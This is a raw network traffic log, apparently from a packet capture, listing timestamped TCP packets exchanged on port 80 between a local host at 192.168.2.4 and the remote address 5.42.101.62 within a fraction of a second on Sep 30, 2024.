Sep 30, 2024 12:22:32.983963966 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.983980894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.983989954 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984014988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984030962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984050035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984061003 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984086990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984098911 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984117031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984134912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984170914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984224081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984256983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984261036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984292984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984345913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984357119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984383106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984391928 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984424114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984431028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984461069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984471083 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984493971 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984502077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984529018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984538078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984570980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984580994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984617949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984625101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984651089 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984664917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984684944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984700918 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984719038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984730959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984751940 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984771013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984785080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984792948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984819889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984833956 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984853029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984859943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984888077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984901905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984920979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984935999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984955072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.984971046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.984987974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985006094 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985025883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985037088 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985059977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985074043 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985095024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985107899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985129118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985141993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985162973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985174894 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985193014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985209942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985227108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985244036 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985264063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985274076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985297918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985311985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985332966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985342979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985367060 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985379934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985402107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985418081 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985436916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985452890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985470057 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985486984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985502958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985515118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985538006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985557079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985568047 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985579014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985600948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985614061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985634089 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985650063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985671997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985682964 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985701084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985721111 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985733986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985743046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985769033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985788107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985801935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985810995 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985836983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985846996 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985868931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985881090 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985904932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:32.985918045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:32.985955000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.068375111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068409920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068428040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068454027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068471909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068494081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068510056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068525076 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068542957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068557978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068577051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068578005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.068578005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.068578005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.068578005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.068578005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.068593979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068609953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.068615913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068617105 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.068633080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068643093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.068670034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.068713903 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068730116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068746090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068758011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.068762064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068778038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068783998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.068794012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068809986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.068816900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068826914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.068831921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068852901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.068876982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.068885088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068902969 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068927050 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.068943024 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068945885 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.068958998 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068974018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068989038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.068991899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069005013 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069030046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069128990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069144964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069159985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069175005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069180965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069190979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069196939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069205999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069225073 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069226980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069251060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069269896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069283009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069298983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069325924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069345951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069365025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069380045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069395065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069406986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069411039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069421053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069427013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069441080 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069442987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069461107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069479942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069569111 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069586039 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069605112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069623947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069632053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069644928 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069647074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069662094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069673061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069678068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069691896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069694042 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069705963 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069711924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069725037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069744110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069760084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069766045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069809914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069924116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069940090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069956064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069969893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069972038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069981098 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.069988012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.069999933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070003986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070019960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070019960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070034981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070035934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070051908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070055008 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070069075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070076942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070100069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070115089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070144892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070164919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070182085 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070194006 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070197105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070202112 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070204973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070221901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070235968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070238113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070265055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070278883 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070383072 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070396900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070411921 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070429087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070434093 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070445061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070451975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070461988 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070470095 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070477962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070487022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070497990 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070499897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070521116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070528030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070535898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070543051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070558071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070569992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070584059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070584059 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070605040 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070617914 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070688009 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070713997 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070729971 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070734024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070744991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070746899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070761919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070763111 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070777893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070784092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070794106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070802927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070810080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070811987 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070825100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070835114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070854902 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070873022 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.070981026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.070996046 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071012020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071023941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071027040 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071042061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071042061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071053982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071058989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071074963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071075916 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071089983 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071090937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071106911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071109056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071121931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071132898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071161985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071212053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071227074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071240902 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071257114 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071260929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071273088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071284056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071289062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071305037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071311951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071322918 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071329117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071357012 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071372986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071449995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071465015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071480989 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071496010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071504116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071511030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071526051 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071530104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071530104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071530104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071541071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071554899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071561098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.071573019 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071590900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.071604967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.155551910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.155641079 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.155690908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.155754089 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.155780077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.155781031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.155781031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.155807972 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.155864000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.155864000 CEST	52534	80	192.168.2.4	5.42.101.62
